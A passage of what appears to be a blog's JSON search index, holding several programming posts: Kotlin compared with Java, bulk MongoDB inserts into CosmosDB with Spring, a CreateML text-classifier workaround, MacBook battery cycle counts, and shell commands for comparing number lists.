differences:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#inheritance\"\u003eInheritance\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#singletons\"\u003eSingletons\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#when\"\u003ewhen instead of switch\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#mutable\"\u003eMutable variables inside lambda\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#with\"\u003eWith keyword\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca name=\"inheritance\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"inheritance\"\u003eInheritance\u003c/h2\u003e\n\u003cp\u003eClasses are final by default. We have to use \u003ccode\u003eopen\u003c/code\u003e keyword to tell compiler to indicate that class is extensible\u003c/p\u003e\n\u003cp\u003e\u003ca name=\"singletons\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"singletons\"\u003eSingletons\u003c/h2\u003e\n\u003cp\u003eIn Kotlin, singletons can be simply defined using object keyword\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-kotlin\" data-lang=\"kotlin\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eobject\u003c/span\u003e \u003cspan class=\"nc\"\u003eCompanyCommunications\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eval\u003c/span\u003e \u003cspan class=\"py\"\u003ecurrentYear\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"nc\"\u003eYear\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003evalue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efun\u003c/span\u003e \u003cspan class=\"nf\"\u003egetTagLine\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Our company rocks\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efun\u003c/span\u003e \u003cspan class=\"nf\"\u003egetCopyrihtLine\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Copyright\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStatic keyword doesn\u0026rsquo;t exist in Kotlin.\u003c/p\u003e","title":"Kotlin for Java Developers - Part 3"},{"content":"Continuing article on Kotlin for Java Developers, Let\u0026rsquo;s continue the differences:\nAccess Modifiers Defining Classes and Constructors Multiple constructors Generate Getters and Setters Data classes Extension Functions Access Modifiers Default top level visibility is public whereas its package private in java\nThere is no restriction to have class names and filenames so its possible to declare multiple public classes in single Kotlin file\nThere is something called private class in Kotlin which means only classes within that file can use it.\nfun main () { val emp = PEmployee() println(emp) } private class PEmployee { } Kotlin has fourth access modifier called internal, which means internal to the module\nKotlin classes can\u0026rsquo;t see private properties defined in inner classes\nIt is interested to note that since Kotlin runs on JVM, the code must be compiled to access modifiers which JVM can understand. private is compiled to package private internal is compiled to public\nDefining Classes and Constructors public class JavaEmployee { private final String firstname; public JavaEmployee(String firstname) { this.firstname = firstname; } } class PEmployee constructor(firstName: String) { val firstName: String init { this.firstName = firstName } } This can be shortened to\nclass PEmployee constructor(firstName: String) { val firstName: String = firstName } And can be even shortened to,\nclass PEmployee (val firstName: String) { } Kotlin has the notion of primary and secondary constructors. init block is not a constructor. It is used in conjunction with primary constructors. It is like an init body for primary constructor.\nMultiple constructors public class JavaEmployee { private final String firstName; private final boolean fullTime; public JavaEmployee(String firstName) { this.firstName = firstName; this.fullTime = true; } public JavaEmployee(String firstName, boolean fullTime) { this.firstName = firstName; this.fullTime = fullTime; } } The initial equivalent code in Kotlin will be:\nclass PEmployee (val firstName: String) { var fullTime: Boolean = true constructor(firstName: String, fullTime: Boolean): this(firstName) { this.fullTime = fullTime } } Which can be even shortened by providing default parameter values, which is something not possible in Java.\nclass PEmployee (val firstName: String, var fullTime: Boolean = true) { } Generate Getters and Setters There is interesting philosophy of Getters and Setters w.r.t. Kotlin\nIn Kotlin, getters and setters are automatically generated, however their visibility is same as that of variable visibility.\nFor ex, if variable is declared private, its getters and setter will be also private, which means you won\u0026rsquo;t be able to access it from outside the class. Sounds strange and counter-intuitive to Java world. Right?\nBut that\u0026rsquo;s how it is.\npublic class JavaEmployee { private final String firstName; private boolean fullTime; public JavaEmployee(String firstName) { this.firstName = firstName; this.fullTime = true; } public JavaEmployee(String firstName, boolean fullTime) { this.firstName = firstName; this.fullTime = fullTime; } public String getFirstName() { return firstName; } public boolean isFullTime() { return fullTime; } public void setFullTime(boolean fullTime) { this.fullTime = fullTime; } } Equivalent code will be\nclass PEmployee (val firstName: String, fullTime: Boolean = true) { var fullTime = fullTime get() { println(\u0026#34;Running the custom get\u0026#34;) return field } set(value) { println(\u0026#34;Running the custom set\u0026#34;) field = value } } Not that getters and setters will be automatically called while referring the variables\nfun main () { val emp = PEmployee(\u0026#34;John\u0026#34;) println(emp.firstName) emp.fullTime = false val emp2 = PEmployee(\u0026#34;Madhur\u0026#34;) println(emp2.fullTime); val emp3 = PEmployee(\u0026#34;Ahuja\u0026#34;, false) println(emp3.fullTime) } John Running the custom set Running the custom get true Running the custom get false Data classes Data classes are equivalent to POJO\nIt comes with free equals and toString function, very similar to Lombok\nIt also comes with a copy function as well.\nExtension Functions Syntactic sugar to extend classes with more functions. It doesn\u0026rsquo;t actually extend any class.\nfun String.upperFirstAndLast() : String { val upperFirst = this.substring(0, 1).toUpperCase() + this.substring(1) return upperFirst.substring(0, upperFirst.length - 1) + upperFirst.substring(upperFirst.length -1, upperFirst.length).toUpperCase() } val s = \u0026#34;this is all in lowercase\u0026#34; println(s.upperFirstAndLast()) Kotlin uses extension functions extensively inside Kotlin Standard Library\n","permalink":"https://madhur.co.in/blog/2020/07/17/kotlin-for-java-developers-part2.html","summary":"\u003cp\u003eContinuing article on Kotlin for Java Developers, Let\u0026rsquo;s continue the differences:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#access\"\u003eAccess Modifiers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#defining\"\u003eDefining Classes and Constructors\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#multiple\"\u003eMultiple constructors\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#generate\"\u003eGenerate Getters and Setters\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#data\"\u003eData classes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#extension\"\u003eExtension Functions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca name=\"access\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"access-modifiers\"\u003eAccess Modifiers\u003c/h2\u003e\n\u003cp\u003eDefault top level visibility is public whereas its package private in java\u003c/p\u003e\n\u003cp\u003eThere is no restriction to have class names and filenames so its possible to declare multiple\npublic classes in single Kotlin file\u003c/p\u003e\n\u003cp\u003eThere is something called private class in Kotlin which means only classes within that file can use it.\u003c/p\u003e","title":"Kotlin for Java Developers - Part 2"},{"content":"I have been learning Kotlin in my free time and I must say I have been glued to it since then due to its conciseness and addressing some of the issues which are there in Java.\nHence, In this part I post, we will look at differences between Kotlin and Java from the programmer\u0026rsquo;s perspective.\nWe will cover the runtime aspects and interoperability in the later posts.\nEquality differences No checked exceptions Wrapper classes Traditional for loop is not more val and var keywords for immutability Ternary operator is removed instanceOf is removed Template Strings and Inline variables Equality differences. In Kotlin, == operator checks for structural equality. Instead triple equals === checks for referential equality This is one of the most important difference I found and hence it the first one. In Kotlin, == will check only structural equality. For example,\nConsider a POJO In Java\npublic class Employee { private String name; private int id; public Employee(String name, int id) { this.name = name; this.id = id; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Employee employee = (Employee) o; return id == employee.id \u0026amp;\u0026amp; Objects.equals(name, employee.name); } } We can use this class in Kotlin as follows:\nvar employee2 = Employee(\u0026#34;John\u0026#34;, 2) val employee3 = Employee(\u0026#34;John\u0026#34;, 2) println(employee2 == employee3) // true println(employee2.equals(employee3)) // true println(employee2 === employee3) // false No checked exceptions and no throws keyword How many times in Java we have to decorate the method with throws keyword just because the called method inside it throws a checked exception. I have never been fan of this rule. In my opinion, it should be left to developer to decide on he wants to handle the exception or even completely ignore it.\nKotlin gets rid of this uglier aspect of Java.\nWrapper classes for convenient methods such as println() Kotlin provides useful wrapper for many of the convenient functions such as now you can do simply println(\u0026quot;myString\u0026quot;) to print out something to console or even arrayOf(1,2,3) to create an array.\nKotlin gets rid of traditional for loop The traditional for loop has been omitted in Kotlin in favor of below kind of loop.\nval names = listOf(\u0026#34;Anne\u0026#34;, \u0026#34;Peter\u0026#34;, \u0026#34;Jeff\u0026#34;) for (name in names) { println(name) } val and var keywords for immutability Just like Swift and JavaScript, val can be used to declare immutable (final in java) and var for a mutable object. Just like Swift, Kotlin compiler can do type inference. Type information is required only if compiler cannot infer type, which results in lot of conciseness\nTernary operator is removed Ternary operator is removed in Java. In contrast to this, if keyword has been converted to express. So, you can do something like this in Kotlin:\nval max = if (a \u0026gt; b) { print(\u0026#34;Choose a\u0026#34;) a } else { print(\u0026#34;Choose b\u0026#34;) b } instanceOf is removed, Instead use is This is a welcome change along with smart casting\nIn Java, you had to use instanceOf operator along with cast, for example:\nObject something = employee4; if (something instanceOf Employee) { Employee newEmployee = (Employee)something; System.out.println(newEmployee.name); } In Kotlin, you can simply do:\nvar something: Any = employee4 if (something is Employee) { println(\u0026#34;Something is employee\u0026#34;) println(something.name) } That means, Kotlin compiler will intelligently figure out that something is an Employee object and allow you to use all the employee properties on that instance variable itself.\nThis looks like a small change but in reality can open doors to very elegant code especially when combined with Non null types\nTemplate Strings This is a feature which every new language is coming up. For example, we can print variables inline and also have multiline strings. For example:\nThis is a great improvement over Java, where we have to use newlines and escape quotes in these scenarios.\nun indentedStringLiteral() = \u0026#34;\u0026#34;\u0026#34; First Line Second Line Third Line \u0026#34;\u0026#34;\u0026#34; fun unindentedStringLiteral() = \u0026#34;\u0026#34;\u0026#34; First Line Second Line Third Line \u0026#34;\u0026#34;\u0026#34;.trimIndent() fun printSum(a: Int, b: Int) { println(\u0026#34;sum of $a and $b is ${a + b}\u0026#34;) } That\u0026rsquo;s it for now. I am still going through rest of the features and excited about using this language in my real world projects. The great thing about Kotlin is that it is interoperable with existing Java projects by just adding Kotlin Standard Library as a runtime dependency.\nWatch out this space for the next part of the article\n","permalink":"https://madhur.co.in/blog/2020/07/10/kotlin-for-java-developers.html","summary":"\u003cp\u003eI have been learning \u003ca href=\"https://kotlinlang.org/\"\u003eKotlin\u003c/a\u003e in my free time and I must say I have been glued to it since then due to its conciseness and addressing some of the issues which are there in Java.\u003c/p\u003e\n\u003cp\u003eHence, In this part I post, we will look at differences between \u003ca href=\"https://kotlinlang.org/\"\u003eKotlin\u003c/a\u003e and \u003ca href=\"https://www.java.com/en/\"\u003eJava\u003c/a\u003e from the programmer\u0026rsquo;s perspective.\u003c/p\u003e\n\u003cp\u003eWe will cover the runtime aspects and interoperability in the later posts.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#equality\"\u003eEquality differences\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#checked\"\u003eNo checked exceptions\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#wrapper\"\u003eWrapper classes\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#forloop\"\u003eTraditional for loop is not more\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#valvar\"\u003eval and var keywords for immutability\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#ternary\"\u003eTernary operator is removed\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#instanceof\"\u003einstanceOf is removed\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#template\"\u003eTemplate Strings and Inline variables\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca name=\"equality\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Kotlin for Java Developers"},{"content":"Recently, I have been involved in an effort which required migrating a database with millions of rows from MySQL to Azure CosmosDB. Those who are new to CosmosDB, it is a Microsoft\u0026rsquo;s globally distributed, multi-model database service. The good thing about CosmosDB is that it provides data access using the familiar API\u0026rsquo;s in form of SQL, MongoDB, Cassandra etc.\nWe used the MongoDB driver for our use-case, so essentially it was a RDBMS to NOSQL migration.\nIn this post, we are going to look at the best ways to insert the data in Azure CosmosDB in bulk in fastest amount of time.\nWe primarily used Spring data MongoDB. For ex, we have a simple entity as follows:\n@Data public class Event { private String _id; private Integer schemaVersion = 0; private String eventId; private Date createdAt; } The simplest way to insert batch of these entities into MongoDb is by using Bulk APIs\npublic void writeRecords(List\u0026lt;Event\u0026gt; eventsList) { BulkOperations bulkOps = mongoTemplate.bulkOps(BulkOperations.BulkMode.UNORDERED, Event.class); eventsList.forEach(record -\u0026gt; { bulkOps.insert(record); }); BulkWriteResult result = bulkOps.execute(); } The line bulkOps.execute() will be a blocking call and will return only after all the rows has been inserted. One point to note here is that parameter BulkOperations.BulkMode.UNORDERED will allow the processing to continue even in case of errors (such as DuplicateKeyException),. Use the BulkOperations.BulkMode.ORDERED if you want the processing to stop.\nI wouldn\u0026rsquo;t recommend using BulkMode.UNORDERED especially if you are dealing with transactional data.\nEven with BulkMode.ORDERED, there can be other failures during this batch insertion for ex, network blips, server crashes etc. Thus, this approach is fine if we are bulk inserting thousands of rows (which would probably take a second or two). However, for inserting millions of records, it is best idea to batch this process using Spring Batch or a custom batching logic. The idea is that you want to be able to resume the insertion in an event of the failure. How the failure is handled totally depends on the type of failure occurred.\nOne might note that, Spring Data provides the saveAll() method, so why not use that and do an insertion like this:\npublic void writeRecords(List\u0026lt;Event\u0026gt; eventsList) { List\u0026lt;List\u0026lt;Event\u0026gt;\u0026gt; partitionedList = Lists.partition(eventsList, DEFAULT_BATCH_SIZE); for (List\u0026lt;Event\u0026gt; events : partitionedList) { eventRepository.saveAll(events); } } That was an interesting question and I had to dig into the source code of spring-data-mongodb to get this answer.\nTurns out, as of spring-data-mongodb 3.0, Spring will automatically use the MongoDB\u0026rsquo;s bulk insertion API\u0026rsquo;s to perform the persistence of records using saveAll().\nHowever, there is one catch. The _id field of these entities must be null, i.e. you\u0026rsquo;ll have to let the MongoDB generate the _id field for you.\nIn cases, such as migration, wherein we might want to provide our own value of _id, Spring wil resort to one by one insertion and that will be very slow compared to Bulk API\u0026rsquo;s.\n","permalink":"https://madhur.co.in/blog/2020/07/03/buld-insert-cosmosdb.html","summary":"\u003cp\u003eRecently, I have been involved in an effort which required migrating a database with millions of rows from \u003ca href=\"https://www.mysql.com/\"\u003eMySQL\u003c/a\u003e to \u003ca href=\"https://azure.microsoft.com/en-us/services/cosmos-db/\"\u003eAzure CosmosDB\u003c/a\u003e. Those who are new to CosmosDB, it is a Microsoft\u0026rsquo;s globally distributed, multi-model database service. The good thing about CosmosDB is that it provides data access using the familiar API\u0026rsquo;s in form of SQL, MongoDB, Cassandra etc.\u003c/p\u003e\n\u003cp\u003eWe used the MongoDB driver for our use-case, so essentially it was a RDBMS to NOSQL migration.\u003c/p\u003e","title":"Bulk insertion of Rows in CosmosDB"},{"content":"I have been playing with Apple\u0026rsquo;s CreateML. Specifically, I have been following Apple\u0026rsquo;s tutorial on creating text classification models\nThe exact code as described in article doesn\u0026rsquo;t work, at least on OSX 10.14 Mojave.\nThe snippet I have been using is:\nimport Cocoa import CreateML import NaturalLanguage let data = try MLDataTable(contentsOf: URL(fileURLWithPath: \u0026#34;/Users/madhur/Desktop/iOS/ML/twitter-sanders-apple3.csv\u0026#34;)) let (trainingData, testingData) = data.randomSplit(by: 0.8, seed: 5) let sentimentClassifier = try MLTextClassifier(trainingData: trainingData, textColumn: \u0026#34;text\u0026#34;, labelColumn: \u0026#34;class\u0026#34;) The last line throws the error: The validation data provided must contain class\nGoogling it doesn\u0026rsquo;t help much since this is a very new API. Then, I stumbled upon some of the API\u0026rsquo;s which Apple has marked deprecated, such as several init() methods in MLTextClassifier.ModelParameters\nUsingi those deprecated methods, somehow resolved the issue:\nimport Cocoa import CreateML import NaturalLanguage let data = try MLDataTable(contentsOf: URL(fileURLWithPath: \u0026#34;/Users/madhur/Desktop/iOS/ML/twitter-sanders-apple3.csv\u0026#34;)) let (trainingData, testingData) = data.randomSplit(by: 0.8, seed: 5) let parameters = MLTextClassifier.ModelParameters.init(validationData: trainingData, algorithm: MLTextClassifier.ModelAlgorithmType.maxEnt(revision: 1), language: NLLanguage.english, textColumnValidationData: \u0026#34;text\u0026#34;, labelColumnValidationData: \u0026#34;class\u0026#34;) let sentimentClassifier = try MLTextClassifier(trainingData: trainingData, textColumn: \u0026#34;text\u0026#34;, labelColumn: \u0026#34;class\u0026#34;, parameters: parameters) Hope this helps anyone encountering this issue. Just for sake of completeness, the complete sample code to generate a text classification model is given below. The generated mlmodel can then be imported in an iOS or MacOS App.\nimport Cocoa import CreateML import NaturalLanguage let data = try MLDataTable(contentsOf: URL(fileURLWithPath: \u0026#34;/Users/madhur/Desktop/iOS/ML/twitter-sanders-apple3.csv\u0026#34;)) let (trainingData, testingData) = data.randomSplit(by: 0.8, seed: 5) let parameters = MLTextClassifier.ModelParameters.init(validationData: trainingData, algorithm: MLTextClassifier.ModelAlgorithmType.maxEnt(revision: 1), language: NLLanguage.english, textColumnValidationData: \u0026#34;text\u0026#34;, labelColumnValidationData: \u0026#34;class\u0026#34;) let sentimentClassifier = try MLTextClassifier(trainingData: trainingData, textColumn: \u0026#34;text\u0026#34;, labelColumn: \u0026#34;class\u0026#34;, parameters: parameters) let evaluationMetrics = sentimentClassifier.evaluation(on: testingData, textColumn: \u0026#34;text\u0026#34;, labelColumn: \u0026#34;class\u0026#34;) //Training accuracy as a percentage let evaluationAccuracy = (1.0 - evaluationMetrics.classificationError) * 100 print(evaluationAccuracy) let metadata = MLModelMetadata(author: \u0026#34;Madhur Ahuja\u0026#34;, shortDescription: \u0026#34;A model trained to classify movie review sentiment\u0026#34;, version: \u0026#34;1.0\u0026#34;) try sentimentClassifier.write(to: URL(fileURLWithPath: \u0026#34;/Users/madhur/Desktop/iOS/ML/sentiment.mlmodel\u0026#34;), metadata: metadata) ","permalink":"https://madhur.co.in/blog/2020/06/28/validation-data-provided-must-contain-class.html","summary":"\u003cp\u003eI have been playing with Apple\u0026rsquo;s \u003ca href=\"https://developer.apple.com/documentation/createml\"\u003eCreateML\u003c/a\u003e.  Specifically, I have been following Apple\u0026rsquo;s tutorial on \u003ca href=\"https://developer.apple.com/documentation/createml/creating_a_text_classifier_model\"\u003ecreating text classification models\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe exact code as described in article doesn\u0026rsquo;t work, at least on OSX 10.14 Mojave.\u003c/p\u003e\n\u003cp\u003eThe snippet I have been using is:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-swift\" data-lang=\"swift\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eimport\u003c/span\u003e \u003cspan class=\"nc\"\u003eCocoa\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eimport\u003c/span\u003e \u003cspan class=\"nc\"\u003eCreateML\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eimport\u003c/span\u003e \u003cspan class=\"nc\"\u003eNaturalLanguage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nv\"\u003edata\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"n\"\u003eMLDataTable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtentsOf\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eURL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efileURLWithPath\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;/Users/madhur/Desktop/iOS/ML/twitter-sanders-apple3.csv\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etrainingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etestingData\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erandomSplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eby\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mf\"\u003e0.8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eseed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nv\"\u003esentimentClassifier\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"n\"\u003eMLTextClassifier\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etrainingData\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etrainingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etextColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;text\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003elabelColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;class\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe last line throws the error: \u003ccode\u003eThe validation data provided must contain class\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eGoogling it doesn\u0026rsquo;t help much since this is a very new API. Then, I stumbled upon some of the API\u0026rsquo;s which Apple has marked deprecated, such as several \u003ccode\u003einit()\u003c/code\u003e methods in \u003ca href=\"https://developer.apple.com/documentation/createml/mltextclassifier/modelparameters\"\u003eMLTextClassifier.ModelParameters\u003c/a\u003e\u003c/p\u003e","title":"The validation data provided must contain class"},{"content":"Recently, one of my Macbook Pro 2014 model started showing this information on battery usage:\nNaturally, it got me worried as I had lot of code and data which was not backed up.\nHowever, at the same time I was curious to know how Apple is able to determine the degradation in battery health.\nIs it a function of age, discharge / charging time OR something else?\nUpon further debugging, turns it its a function of a number called Cycle count which is maintained.\nWhat is cycle count? As per apple,\nWhen you use your Mac notebook, its battery goes through charge cycles. A charge cycle happens when you use all of the battery’s power—but that doesn’t necessarily mean a single charge. For example, you could use half of your notebook\u0026rsquo;s charge in one day, and then recharge it fully. If you did the same thing the next day, it would count as one charge cycle, not two. In this way, it might take several days to \u0026gt; complete a cycle.\nBatteries have a limited amount of charge cycles before their performance is expected to diminish.\nCycle count can be viewed by going to Apple  menu -\u0026gt; About this Mac -\u0026gt; System Report -\u0026gt; Hardware -\u0026gt; Power\nThere is a table in this Apple support article, which tells you for each Model number, after how many cycle counts, a battery replacement is required.\n","permalink":"https://madhur.co.in/blog/2020/06/21/find-out-if-your-macbook-battery-die.html","summary":"\u003cp\u003eRecently, one of my Macbook Pro 2014 model started showing this information on battery usage:\u003c/p\u003e\n\u003cimg src='/images/image_480.png' width='240px' /\u003e\n\u003cp\u003eNaturally, it got me worried as I had lot of code and data which was not backed up.\u003c/p\u003e\n\u003cp\u003eHowever, at the same time I was curious to know how Apple is able to determine the degradation in battery health.\u003c/p\u003e\n\u003cp\u003eIs it a function of age, discharge / charging time OR something else?\u003c/p\u003e\n\u003cp\u003eUpon further debugging, turns it its a function of a number called Cycle count which is maintained.\u003c/p\u003e","title":"Determine if your Macbook battery is about to die"},{"content":"I got thrown up with some more tasks to perform on shell.\nFirst was to extract numbers from long list of text. For ex, you have text as :\n[ NumberLong(90), NumberLong(123), NumberLong(218), NumberLong(221), NumberLong(294), NumberLong(317), NumberLong(319), NumberLong(322), NumberLong(328), NumberLong(344), NumberLong(348) ] To simple extract numbers from this file, we\u0026rsquo;ll use pcregrep command to capture the regex group and output it.\n#!/bin/bash cat input.txt | pcregrep -o1 -i \u0026#39;([0-9]+)\u0026#39; \u0026gt; output.txt Second was to compare such two lists and result the numbers which are present in first file but not in second and vice-versa\nThis is where comm kicks in. It keeps as input two lexically sorted inputs and output the result such as :\nThe comm utility reads file1 and file2, which should be sorted lexically, and produces three text columns as output: lines only in file1; lines only in file2; and lines in both files.\n#!/bin/bash comm -23 \u0026lt;(sort first_file.txt ) \u0026lt;(sort second_file.txt) | sort -n Note that comm command expects input to be lexically sorted and not numerically sorted, hence its necesary to sort the file even if its numerically sorted.\n","permalink":"https://madhur.co.in/blog/2020/06/13/find-intersection-lists-shell.html","summary":"\u003cp\u003eI got thrown up with some more tasks to perform on shell.\u003c/p\u003e\n\u003cp\u003eFirst was to extract numbers from long list of text. For ex, you have text as :\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e[\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(90),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(123),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(218),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(221),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(294),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 